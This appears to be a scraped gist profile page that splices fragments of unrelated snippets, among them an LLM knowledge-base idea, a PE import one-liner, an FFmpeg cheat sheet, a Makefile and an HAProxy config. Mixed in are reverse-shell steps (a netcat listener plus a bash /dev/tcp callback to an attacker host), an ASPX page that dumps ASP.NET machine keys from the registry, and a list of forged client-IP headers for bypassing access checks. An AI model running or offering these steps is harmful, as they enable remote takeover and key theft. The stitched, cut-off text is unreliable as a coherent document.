Adrian Fedoreanu phedoreanu

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

sharing this oneliner i made and use a lot on PEs. doesn't work on DLLs or if you have 0 imports:
alias peinfo="python -c \"import pefile, sys; pe = pefile.PE(sys.argv[1]); print('\\n'.join(['Module: {} - {}, Address: {}'.format(entry.dll.decode('utf-8'), imp.name.decode('utf-8'), hex(imp.address)) for entry in pe.DIRECTORY_ENTRY_IMPORT for imp in entry.imports]))\""
sample output:

Module: KERNEL32.dll - DeleteCriticalSection, Address: 0x14000d1d8
Module: msvcrt.dll - __initenv, Address: 0x14000d270
Module: msvcrt.dll - calloc, Address: 0x14000d2e8

This is explaining stuff relevant to AOC 2021 day 6

How is a matrix used to count fish?

First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.

So you can implement fibs like this:

def fib(n):

FFmpeg cheat sheet

A list of useful commands for the FFmpeg command line tool.

Download FFmpeg: https://www.ffmpeg.org/download.html

Full documentation: https://www.ffmpeg.org/ffmpeg.html

	CF-Connecting-IP: 127.0.0.1
	Content-type: 0
	Fastly-Client-IP: 127.0.0.1
	Forwarded: 127.0.0.1
	Forwarded: for=127.0.0.1
	Forwarded-For: 127.0.0.1
	Forwarded-For-Ip: 127.0.0.1
	True-Client-IP: 127.0.0.1
	X-Client-IP: 127.0.0.1
	X-Cluster-Client-IP: 127.0.0.1

	GOCMD=go
	GOTEST=$(GOCMD) test
	GOVET=$(GOCMD) vet
	BINARY_NAME=example
	VERSION?=0.0.0
	SERVICE_PORT?=3000
	DOCKER_REGISTRY?= #if set it should finished by /
	EXPORT_RESULT?=false # for CI please set EXPORT_RESULT to true

	GREEN := $(shell tput -Txterm setaf 2)

	On attack host in "local" active terminal using port 10000 for example:

	nc -l -t -v 8080
	i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
	Then On "remote" victim computer - run this command
	Get this to execute on the victim host ( assuming victim does not have netcat )

	bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1

	for example:

	<%@ Page Language="C#" %>
	<%
	// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
	Response.Write("<br/><hr/>");
	byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
	if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
	Response.Write("<br/>");
	byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
	if(autoGenKey!=null)

	#---------------------------------------------------------------------
	# Global settings
	#---------------------------------------------------------------------
	global
	daemon
	chroot /var/lib/haproxy
	pidfile /var/run/haproxy.pid
	maxconn 2048
	user haproxy
	group haproxy

Adrian Fedoreanu phedoreanu

LLM Wiki

The core idea

How is a matrix used to count fish?

FFmpeg cheat sheet

Basic conversion

Tizen Hacking

Contents